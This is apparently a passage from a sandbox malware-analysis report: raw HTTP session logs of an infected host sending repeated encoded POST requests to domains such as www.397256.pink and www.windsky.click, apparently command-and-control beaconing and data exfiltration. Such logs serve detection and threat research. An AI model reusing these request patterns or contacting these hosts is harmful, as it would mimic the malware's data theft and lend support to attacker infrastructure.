57 69 68 38 42 47 42 6d 6f 36 75 32 73 74 34 6f 4e 43 4c 68 46 4d 67 66 51 65 53 46 6e 4c 51 38 43 50 42 57 4c 4b 6a 4c 4c 31 71 78 48 49 33 50 34 59 69 69 41 5a 69 79 2f 42 55 77 37 62 50 48 75 4d 2f 39 46 5a 58 31 71 73 53 57 61 31 6c 4c 63 58 39 57 48 41 69 72 50 54 2b [TRUNCATED] Data Ascii: kR8XbB2P=64TukoECUmIA87hD0OH6Rb+ArN2+bbm1gXZGsxM+6cLHY4Uo7JV4WSXdmQjzCwFrNaVeuQaqlhqTzKgjaEeZMBQrkP7KRWxRsj0RzRqmhTDEe8ry/1pjqvoxSFUYmMnb5UL2C3c6mQV9iFX67CjWz0/dyGFaDPJa3khu/6Qb2zze+tszvNKInT6SIUpWbZ9nWsqneJThO90u0mhJC7S+6NLCEa4mn4c3NR/RgAyRuRDp1rWih8BGBmo6u2st4oNCLhFMgfQeSFnLQ8CPBWLKjLL1qxHI3P4YiiAZiy/BUw7bPHuM/9FZX1qsSWa1lLcX9WHAirPT+5wnNle2zVAnVdRwSX970Vl1fSo8wxv3ZEWXREm901h2BFjrswNzdUSmwg9mBVQfARzja0afJf5j4PuEUZKjgT4QpCxYEZjGOarJgMh9Try9JCqPI6EADA6zrgl4Ipue6OorbZys83N7H5Lk1NIOqxng498PWmgJcjxKRtzOkIh6ctrmQPJ6ZtgOSx9CbJDiRVVI25VMcGCHGIAyONGUZuTCDXwSfmj1ui6oyuMraHRh4ePsmsPePLOycwOqOoA/B3GMXUk/MQXeOrR8XzCy8031GumORd8bf1N6Ku4ZN7p2qbOlhvlyFU5bRG8tHfr1zs1zFss80pThXfGXF19MFMVRQGTff8ZKszOKrBU9PwEFBgaippSp4dhloJduAVbGoJNTmZC9P5bYDVu8DoNOlOki2Qm7Kmil9zUyNaD+YJ6sbq1hSg1xf+Rq/4Sdue4R6A7mp51i320ebTFj1GPMASXYPc6XSv1Thg8VHEkQ3k66edVbHRJTWFbVSqs3Fo3bdE4Qeb8fpAFx9FavVl8f5YjhFQjkTcGIL34KNv8+2XYdrAPo7LNAxPKWPcM4mX6DngUxsDehSnSOpxgHkY/5jpU2rzMGJeFhLuYGJYo2qjjJexXZ86+soJyXtZdCcAfVnJ8GoXR/13sjef/SHQNPl2mn6l9UzeuVd/p [TRUNCATED]
Jan 10, 2025 23:27:32.796058893 CET	1558	OUT	Data Raw: 6a 71 49 38 30 6b 4f 6a 38 76 49 38 6d 70 77 71 46 50 42 64 59 49 62 31 66 43 74 62 5a 4e 6b 4f 65 61 68 4e 52 4c 4f 69 53 31 4e 32 51 45 6b 77 75 38 76 5a 4a 78 38 79 6f 47 6f 31 35 2f 49 38 50 6f 6e 52 7a 79 79 75 65 51 50 7a 45 64 46 7a 36 74 Data Ascii: jqI80kOj8vI8mpwqFPBdYIb1fCtbZNkOeahNRLOiS1N2QEkwu8vZJx8yoGo15/I8PonRzyyueQPzEdFz6tI9oW02tY3+4TPqTZLNQ7pbocIZCE/NniLAcStttnDSIOkmbOIjyVNsVh4llOri7GPMPlKD4/DgG8SttTThpl9z1O8zPpA/SKimhw5XaqPjH/Aux1Pwn4RkJgvTNJAq9jfO84exYOyqU2Xgz6WOnMm5lPj2dLjoqpO
Jan 10, 2025 23:27:32.938334942 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.11.20	49834	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:27:35.446847916 CET	549	OUT	GET /nqht/?oRQ0=OV24X0&kR8XbB2P=367OndwPLlg1rtVGy+jbU6farMLhf6e9pQ84yAc488vbfZMJt5Z+Hw3z7hXrMCY/VZoR2j/nhh+f1b5vdUOqOwhZk8/Fem9ynApq8ifvkQ/WJsnn/mcVkec= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.likesharecomment.net Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Jan 10, 2025 23:27:35.585771084 CET	377	IN	HTTP/1.1 200 OK content-type: text/html date: Fri, 10 Jan 2025 22:27:35 GMT content-length: 256 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 6f 52 51 30 3d 4f 56 32 34 58 30 26 6b 52 38 58 62 42 32 50 3d 33 36 37 4f 6e 64 77 50 4c 6c 67 31 72 74 56 47 79 2b 6a 62 55 36 66 61 72 4d 4c 68 66 36 65 39 70 51 38 34 79 41 63 34 38 38 76 62 66 5a 4d 4a 74 35 5a 2b 48 77 33 7a 37 68 58 72 4d 43 59 2f 56 5a 6f 52 32 6a 2f 6e 68 68 2b 66 31 62 35 76 64 55 4f 71 4f 77 68 5a 6b 38 2f 46 65 6d 39 79 6e 41 70 71 38 69 66 76 6b 51 2f 57 4a 73 6e 6e 2f 6d 63 56 6b 65 63 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?oRQ0=OV24X0&kR8XbB2P=367OndwPLlg1rtVGy+jbU6farMLhf6e9pQ84yAc488vbfZMJt5Z+Hw3z7hXrMCY/VZoR2j/nhh+f1b5vdUOqOwhZk8/Fem9ynApq8ifvkQ/WJsnn/mcVkec="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.11.20	49835	38.46.13.54	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:27:40.911894083 CET	807	OUT	POST /jo65/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.397256.pink Origin: http://www.397256.pink Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 205 Cache-Control: max-age=0 Referer: http://www.397256.pink/jo65/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 73 68 79 52 51 4c 68 4b 49 35 4f 2f 71 35 75 77 66 37 54 6f 61 44 33 39 79 55 54 42 76 4b 68 73 4c 63 6d 71 34 63 67 34 68 79 77 49 58 59 51 57 75 52 76 58 52 39 4b 6e 4e 74 4b 41 52 43 59 73 77 78 47 4b 45 74 4f 72 35 38 52 41 49 41 31 62 59 6c 4d 54 4b 64 64 6e 63 77 6c 42 6d 72 36 4a 2f 30 4d 34 61 34 4e 6a 52 6d 6f 2b 54 62 76 45 57 39 47 79 73 69 37 61 54 37 73 58 77 48 76 52 5a 42 6f 37 58 41 63 6c 41 41 58 41 74 33 6d 39 63 4c 33 49 4e 44 47 69 76 59 59 73 55 57 6b 47 39 4a 69 33 75 44 30 51 32 75 35 33 6a 39 75 6f 65 45 35 68 38 45 32 4b 57 59 62 36 4a 49 45 74 51 77 3d 3d Data Ascii: kR8XbB2P=shyRQLhKI5O/q5uwf7ToaD39yUTBvKhsLcmq4cg4hywIXYQWuRvXR9KnNtKARCYswxGKEtOr58RAIA1bYlMTKddncwlBmr6J/0M4a4NjRmo+TbvEW9Gysi7aT7sXwHvRZBo7XAclAAXAt3m9cL3INDGivYYsUWkG9Ji3uD0Q2u53j9uoeE5h8E2KWYb6JIEtQw==

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.11.20	49836	38.46.13.54	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:27:43.758537054 CET	827	OUT	POST /jo65/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.397256.pink Origin: http://www.397256.pink Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.397256.pink/jo65/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 73 68 79 52 51 4c 68 4b 49 35 4f 2f 71 59 65 77 54 39 62 6f 59 6a 33 2b 39 30 54 42 68 61 68 6f 4c 63 71 71 34 64 55 6f 67 41 45 49 58 34 41 57 74 56 7a 58 53 39 4b 6e 56 64 4b 46 66 69 59 6e 77 78 4c 33 45 6f 4f 72 35 38 46 41 49 44 68 62 5a 55 4d 55 51 74 64 68 48 41 6c 50 70 4c 36 4a 2f 30 4d 34 61 34 5a 5a 52 6d 67 2b 51 72 66 45 57 63 47 78 71 53 37 64 45 4c 73 58 30 48 76 56 5a 42 6f 5a 58 45 55 4c 41 44 76 41 74 32 57 39 63 61 33 50 48 44 47 65 68 34 5a 51 56 45 78 75 6c 62 47 54 76 78 63 56 2b 4d 56 53 69 72 6a 79 44 32 4e 46 2f 58 71 34 53 6f 69 53 4c 4b 46 32 4e 7a 77 39 51 39 78 30 64 4c 31 6d 32 38 6a 6b 63 4f 45 49 7a 6b 4d 3d Data Ascii: kR8XbB2P=shyRQLhKI5O/qYewT9boYj3+90TBhahoLcqq4dUogAEIX4AWtVzXS9KnVdKFfiYnwxL3EoOr58FAIDhbZUMUQtdhHAlPpL6J/0M4a4ZZRmg+QrfEWcGxqS7dELsX0HvVZBoZXEULADvAt2W9ca3PHDGeh4ZQVExulbGTvxcV+MVSirjyD2NF/Xq4SoiSLKF2Nzw9Q9x0dL1m28jkcOEIzkM=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.11.20	49837	38.46.13.54	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:27:46.591190100 CET	2578	OUT	POST /jo65/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.397256.pink Origin: http://www.397256.pink Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 7373 Cache-Control: max-age=0 Referer: http://www.397256.pink/jo65/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 73 68 79 52 51 4c 68 4b 49 35 4f 2f 71 59 65 77 54 39 62 6f 59 6a 33 2b 39 30 54 42 68 61 68 6f 4c 63 71 71 34 64 55 6f 67 41 63 49 58 72 59 57 76 30 7a 58 54 39 4b 6e 63 39 4b 45 66 69 59 6d 77 79 37 37 45 6f 4b 52 35 36 42 41 4a 6a 39 62 51 47 6b 55 46 39 64 68 59 77 6c 43 6d 72 37 42 2f 30 63 30 61 34 4a 5a 52 6d 67 2b 51 70 33 45 52 4e 47 78 6f 53 37 61 54 37 73 6c 77 48 75 4b 5a 42 78 6b 58 45 51 31 42 79 50 41 74 57 47 39 54 49 66 50 4c 44 47 6d 73 59 5a 49 56 45 74 78 6c 62 71 66 76 79 41 7a 2b 4b 56 53 6a 2b 65 6d 53 45 35 44 71 32 65 31 53 5a 65 4c 4c 64 34 6e 4a 52 41 61 65 63 52 4a 45 38 68 64 2b 4f 7a 59 59 75 63 33 78 44 41 4a 71 55 79 7a 6a 4e 37 54 4f 32 4f 73 56 43 78 7a 43 72 65 43 6d 4e 43 38 73 6c 34 79 59 61 31 65 56 63 72 44 6f 4c 43 54 36 67 45 70 65 43 74 75 4e 46 44 4e 4c 68 48 62 32 38 49 79 57 73 35 47 47 4f 6f 62 38 54 61 73 48 76 39 76 62 30 53 4c 55 79 36 54 77 71 4c 4e 50 63 2f 6d 34 6d 67 6a 76 50 74 34 50 63 36 2f 61 72 47 2b 65 44 4f 2b 46 [TRUNCATED] Data Ascii: kR8XbB2P=shyRQLhKI5O/qYewT9boYj3+90TBhahoLcqq4dUogAcIXrYWv0zXT9Knc9KEfiYmwy77EoKR56BAJj9bQGkUF9dhYwlCmr7B/0c0a4JZRmg+Qp3ERNGxoS7aT7slwHuKZBxkXEQ1ByPAtWG9TIfPLDGmsYZIVEtxlbqfvyAz+KVSj+emSE5Dq2e1SZeLLd4nJRAaecRJE8hd+OzYYuc3xDAJqUyzjN7TO2OsVCxzCreCmNC8sl4yYa1eVcrDoLCT6gEpeCtuNFDNLhHb28IyWs5GGOob8TasHv9vb0SLUy6TwqLNPc/m4mgjvPt4Pc6/arG+eDO+FT+dJfAkM71vkH6BO1bz8U7p1Lj1ocp7e5h9euWo1GVjLaFJileqv8rZ276cZBx5Xr5rQ8TKkSM44WIxbSPz3XcmiUmsIHCdEr77MelRW8fWx3hnoguVROV0iZfxhlCLSbl72SIe0zC/RlWVzN2clRbIFlHgYv8JP1Qc6fkxkHTkBp507Kykjv9xpCGPQp+TfiXbdfWeWw0FB9HMXS7FPPBgCOajBOauZCWeMbU9IrzmFNtsmxSPGVSmt0yuKC1pBlwlXTL2krq9TvKN+6xuTf2ijkv5jSxrsduVc9k27tBYZuUl06xIHFsz3VIns8oiij7FLdGO5c/KAYHMyMF/9OHPXpkRlXJS3ACE5oQK9YUHLvfkoL3u7zwhRSQVCSiXsDlfmg4HBPr1hu3MufUxxCXiugJw2miVYoMgzEFOs5WD6Yw6kedM+ZHCs4z7mYLb7sS756irf2IIlMvwoJDUYcu2WH5mzXsxSjZDrNilfgkyj4a+LfwxL/hURUex4OyOz3RYoZlwjLz1lU8Sjd12cx57jGalvdSD3GUEuF9kYhkaW/rvYeCESdsgDr7U2RBy3JzhlMLCwwGFVOLKRsbBmpN3BoU2ladbnFgDtgBJltLkMW+WPIsWhfzB0sqG+vsyE8/DjbFihVZVhHr+wOI6D8/UzvdwTIoyWDA [TRUNCATED]
Jan 10, 2025 23:27:46.591270924 CET	5398	OUT	Data Raw: 50 2b 36 31 54 59 43 68 7a 35 53 45 6b 6b 74 39 71 53 42 53 51 33 7a 6b 61 6d 53 72 71 47 73 79 6d 61 75 35 31 6c 57 7a 48 4c 43 51 70 31 6d 56 69 50 51 7a 44 33 4a 58 6c 6a 72 39 7a 68 77 47 65 4c 55 62 44 31 38 30 30 33 6a 4a 37 41 52 59 31 52 Data Ascii: P+61TYChz5SEkkt9qSBSQ3zkamSrqGsymau51lWzHLCQp1mViPQzD3JXljr9zhwGeLUbD18003jJ7ARY1Rkkrtt8Wb/eIfuW0mysY3cMYSddOsuECwDUyYl+iNTZv3VBkjWHlkoXH35kzxuz5Vv8in6GL/7cZWJ/uuCM/+eavjUdaS8oiMhgUtNh3MSZpDbwiUVQkw9Vb6x5mjOrQ9TD19tabHAG1b6sefCsW8GQYwI9S2aCmZs

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.11.20	49838	38.46.13.54	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:27:49.416646004 CET	540	OUT	GET /jo65/?kR8XbB2P=hjaxT7ABO46ercCzU5jTbSXY4mrNqLZSBJHcmNwepChuPKFV1mqvJ62aMu+yfR8UiTr4IO7Rg/lCNSZ1SGAGOdoGTm5yu7zX00VDXrhTS1wkXbjXSP7JuDM=&oRQ0=OV24X0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.397256.pink Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.11.20	49839	46.253.5.221	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:27:55.002892971 CET	813	OUT	POST /3jkd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.windsky.click Origin: http://www.windsky.click Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 205 Cache-Control: max-age=0 Referer: http://www.windsky.click/3jkd/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 69 67 43 50 73 79 35 72 44 72 47 53 56 6d 39 31 56 69 2f 6b 58 30 64 67 50 43 64 32 30 65 77 6d 54 42 53 62 5a 71 31 66 57 64 6c 33 6a 6a 71 6f 7a 58 6e 61 76 39 6f 41 68 65 79 63 68 75 77 33 37 64 74 4e 31 77 59 6c 44 2f 48 4f 44 5a 4c 44 57 53 4c 45 62 33 6d 71 49 2f 37 56 62 4c 37 46 39 2f 2b 76 4b 31 53 4e 69 70 65 56 63 46 78 61 72 37 70 51 56 61 33 42 47 4b 4a 41 79 74 4e 33 67 6a 4d 5a 6a 34 63 74 4f 72 53 47 4e 2b 73 63 66 46 43 5a 72 63 65 4e 48 79 36 2f 2f 44 52 4d 44 48 31 76 4a 57 33 79 54 79 72 62 7a 6c 50 6e 35 41 64 55 73 57 65 52 4e 38 48 33 65 53 45 6e 6f 41 3d 3d Data Ascii: kR8XbB2P=igCPsy5rDrGSVm91Vi/kX0dgPCd20ewmTBSbZq1fWdl3jjqozXnav9oAheychuw37dtN1wYlD/HODZLDWSLEb3mqI/7VbL7F9/+vK1SNipeVcFxar7pQVa3BGKJAytN3gjMZj4ctOrSGN+scfFCZrceNHy6//DRMDH1vJW3yTyrbzlPn5AdUsWeRN8H3eSEnoA==
Jan 10, 2025 23:27:55.398977995 CET	774	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 10 Jan 2025 22:27:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Language: en X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Referrer-Policy: origin-when-cross-origin X-XSS-Protection: 1; mode=block Expect-CT: enforce; max-age=3600 Referrer-Policy: no-referrer-when-downgrade Strict-Transport-Security: max-age=63072000 Content-Encoding: gzip Data Raw: 31 30 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 6d 51 31 52 c3 30 10 ec 79 c5 a1 1a 3b b8 a3 88 d2 10 e8 18 52 84 82 f2 22 2f f6 4d 64 99 f1 1d f1 e4 f7 28 09 99 24 1e d4 ed 4a bb da bd 23 3a 9d f9 fd f2 fd 79 fd b9 7a a1 d6 ba b8 b8 a3 33 7f 80 14 39 35 de 21 b9 eb 0b 70 7d 81 47 aa 83 31 85 96 07 85 79 f7 b1 7e 2d 9e dc 7f 4f 12 77 f0 6e 27 18 bf fb c1 1c 85 3e 19 52 96 8c 52 5b eb 6b ec 24 a0 38 82 07 92 24 26 1c 0b 0d 1c e1 ab f2 71 6a 19 25 6d 69 40 f4 4e 6d 1f a1 2d 90 3d db 01 5f 67 a6 0c aa 53 95 89 45 2c de 58 8c 53 00 75 50 e5 06 f3 d9 89 bf d4 9c dd f6 9c 6f fa 7a 3f b1 aa 65 47 21 b2 aa 77 1d cb a1 ca c1 b2 f8 b3 9c 7c 7c 9a 5d b5 58 b7 a0 11 1b 15 03 89 d2 4f aa 31 34 bd a4 86 ae 3c 4a 5a 45 b0 22 4f a8 03 6d 38 6c f3 2a 0c 43 99 63 55 93 14 b3 1c e3 3a f7 6d d0 2c b8 d9 eb 2f b4 74 8c 33 f8 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 10dmQ1R0y;R"/Md($J#:yz395!p}G1y~-Own'>RR[k$8$&qj%mi@Nm-=_gSE,XSuPoz?eG!w\|\|]XO14<JZE"Om8l*CcU:m,/t30

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.11.20	49840	46.253.5.221	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:27:57.813986063 CET	833	OUT	POST /3jkd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.windsky.click Origin: http://www.windsky.click Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.windsky.click/3jkd/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 69 67 43 50 73 79 35 72 44 72 47 53 55 48 4e 31 57 44 2f 6b 52 55 64 6a 44 69 64 32 74 75 77 71 54 42 75 62 5a 6f 59 43 57 76 52 33 6a 43 61 6f 79 53 54 61 73 39 6f 41 70 2b 79 5a 6c 75 77 73 37 64 52 72 31 31 67 6c 44 2f 54 4f 44 5a 37 44 57 46 33 48 4b 33 6d 2f 52 50 37 41 66 4c 37 46 39 2f 2b 76 4b 31 48 67 69 71 75 56 63 31 42 61 71 61 70 54 4a 4b 33 43 42 4b 4a 41 6a 39 4e 7a 67 6a 4e 6a 6a 38 39 43 4f 70 71 47 4e 2f 63 63 66 57 61 65 34 38 65 4c 49 53 37 78 73 52 41 72 48 33 64 48 46 6e 76 74 63 6a 7a 4a 2f 54 43 39 6b 79 70 77 76 46 43 6a 4a 4d 2b 66 63 51 46 38 31 43 39 73 77 36 6b 50 51 43 7a 6a 79 44 71 68 57 72 2f 6e 49 38 73 3d Data Ascii: kR8XbB2P=igCPsy5rDrGSUHN1WD/kRUdjDid2tuwqTBubZoYCWvR3jCaoySTas9oAp+yZluws7dRr11glD/TODZ7DWF3HK3m/RP7AfL7F9/+vK1HgiquVc1BaqapTJK3CBKJAj9NzgjNjj89COpqGN/ccfWae48eLIS7xsRArH3dHFnvtcjzJ/TC9kypwvFCjJM+fcQF81C9sw6kPQCzjyDqhWr/nI8s=
Jan 10, 2025 23:27:58.194729090 CET	774	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 10 Jan 2025 22:27:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Language: en X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Referrer-Policy: origin-when-cross-origin X-XSS-Protection: 1; mode=block Expect-CT: enforce; max-age=3600 Referrer-Policy: no-referrer-when-downgrade Strict-Transport-Security: max-age=63072000 Content-Encoding: gzip Data Raw: 31 30 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 6d 51 31 52 c3 30 10 ec 79 c5 a1 1a 3b b8 a3 88 d2 10 e8 18 52 84 82 f2 22 2f f6 4d 64 99 f1 1d f1 e4 f7 28 09 99 24 1e d4 ed 4a bb da bd 23 3a 9d f9 fd f2 fd 79 fd b9 7a a1 d6 ba b8 b8 a3 33 7f 80 14 39 35 de 21 b9 eb 0b 70 7d 81 47 aa 83 31 85 96 07 85 79 f7 b1 7e 2d 9e dc 7f 4f 12 77 f0 6e 27 18 bf fb c1 1c 85 3e 19 52 96 8c 52 5b eb 6b ec 24 a0 38 82 07 92 24 26 1c 0b 0d 1c e1 ab f2 71 6a 19 25 6d 69 40 f4 4e 6d 1f a1 2d 90 3d db 01 5f 67 a6 0c aa 53 95 89 45 2c de 58 8c 53 00 75 50 e5 06 f3 d9 89 bf d4 9c dd f6 9c 6f fa 7a 3f b1 aa 65 47 21 b2 aa 77 1d cb a1 ca c1 b2 f8 b3 9c 7c 7c 9a 5d b5 58 b7 a0 11 1b 15 03 89 d2 4f aa 31 34 bd a4 86 ae 3c 4a 5a 45 b0 22 4f a8 03 6d 38 6c f3 2a 0c 43 99 63 55 93 14 b3 1c e3 3a f7 6d d0 2c b8 d9 eb 2f b4 74 8c 33 f8 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 10dmQ1R0y;R"/Md($J#:yz395!p}G1y~-Own'>RR[k$8$&qj%mi@Nm-=_gSE,XSuPoz?eG!w\|\|]XO14<JZE"Om8l*CcU:m,/t30

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.11.20	49841	46.253.5.221	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:28:01.152007103 CET	2578	OUT	POST /3jkd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.windsky.click Origin: http://www.windsky.click Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 7373 Cache-Control: max-age=0 Referer: http://www.windsky.click/3jkd/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 69 67 43 50 73 79 35 72 44 72 47 53 55 48 4e 31 57 44 2f 6b 52 55 64 6a 44 69 64 32 74 75 77 71 54 42 75 62 5a 6f 59 43 57 76 4a 33 6b 77 53 6f 39 52 37 61 74 39 6f 41 31 75 79 59 6c 75 77 74 37 5a 46 6e 31 30 63 62 44 38 72 4f 43 37 7a 44 42 45 33 48 44 33 6d 2f 5a 76 37 55 62 4c 37 71 39 2f 75 72 4b 31 58 67 69 71 75 56 63 32 5a 61 74 4c 70 54 61 36 33 42 47 4b 4a 79 79 74 4e 58 67 67 39 5a 6a 38 34 39 4a 5a 4b 47 4e 66 4d 63 5a 6c 2b 65 37 63 65 4a 4c 53 36 73 73 52 4d 30 48 33 52 4c 46 6e 72 58 63 69 37 4a 73 6d 32 6e 36 6d 31 31 77 6e 48 74 56 49 75 46 56 57 42 32 2b 69 4a 57 78 37 63 47 54 6d 6a 6c 7a 41 4b 30 4c 59 57 34 63 5a 76 74 54 53 75 5a 5a 64 6c 4d 2f 4b 32 4e 35 38 31 46 59 38 54 53 65 57 37 32 77 7a 6a 2f 4a 6a 74 62 35 59 43 44 69 50 45 7a 69 4c 51 42 46 4d 71 42 68 46 4d 76 31 4d 72 74 2f 4e 62 54 4a 5a 77 75 41 76 5a 4a 5a 65 65 68 51 53 5a 41 34 30 64 56 52 6e 6e 77 65 55 52 30 36 41 33 6f 77 62 73 48 64 46 4d 31 38 32 77 58 38 79 72 66 54 67 75 67 55 [TRUNCATED] Data Ascii: kR8XbB2P=igCPsy5rDrGSUHN1WD/kRUdjDid2tuwqTBubZoYCWvJ3kwSo9R7at9oA1uyYluwt7ZFn10cbD8rOC7zDBE3HD3m/Zv7UbL7q9/urK1XgiquVc2ZatLpTa63BGKJyytNXgg9Zj849JZKGNfMcZl+e7ceJLS6ssRM0H3RLFnrXci7Jsm2n6m11wnHtVIuFVWB2+iJWx7cGTmjlzAK0LYW4cZvtTSuZZdlM/K2N581FY8TSeW72wzj/Jjtb5YCDiPEziLQBFMqBhFMv1Mrt/NbTJZwuAvZJZeehQSZA40dVRnnweUR06A3owbsHdFM182wX8yrfTgugUSQeVvTpDhNwJnFoD8oy3QwkmNejRSBjTN424sm7vN/o4X3Q1uZ3XqdyofL8l34HPC0lcY2Of+ZbPBNbXy+jdeg1QT+J5aiEZkk/zaPZAV4NORjy5OSq2+rHRyke9AzYRiLuRNuOaA1UganQUvvgWs9J15T5/kEh8I552wGkgChPJWqVPJVLilAyJztFIzPTYpL8KtFDd/QGUsPwYR/EE5G9YW5vvO6+UE/7TXQP7nXOzc8DDwNdX+9bufSPeiit3L9brDyJBMs/+c8gSKf1+cvWNFsm+VDu+d86dVJzNFDss1AHpMDib/1uMS13eBL5mvPMfu6cKDNOPHzGVoV7Fl2PsDiA7zWEKSkF59Up+MoHN/6cfEKzgx09YxfcddwgnYgUxVX++J5a6UPiTMu+tgWCprUZhfEmm6tniWt8YQCXMpJ/OFRgxi68kGSc9nwsx81PE+LxjDYMoQjA3BCM8mwmMBdpPHZ+C2N1K/+pCawL1FbcpeIyRlVFRO+eVyEaH6LO11IbY6VTdW0bo/QRllbTgQ31HvaxYPJwweH5bwih2wzdFjIDccQ6DkzSEpUaqhijeDrVtkX5hUZld04iufwdpxtlgmHnN5yl1Lo5uPEMJ3kiQIeWUrm0CGSmVnXRr/DnX0SEChlvmWdhU+oFdH3ncUBmFkGNRd6 [TRUNCATED]
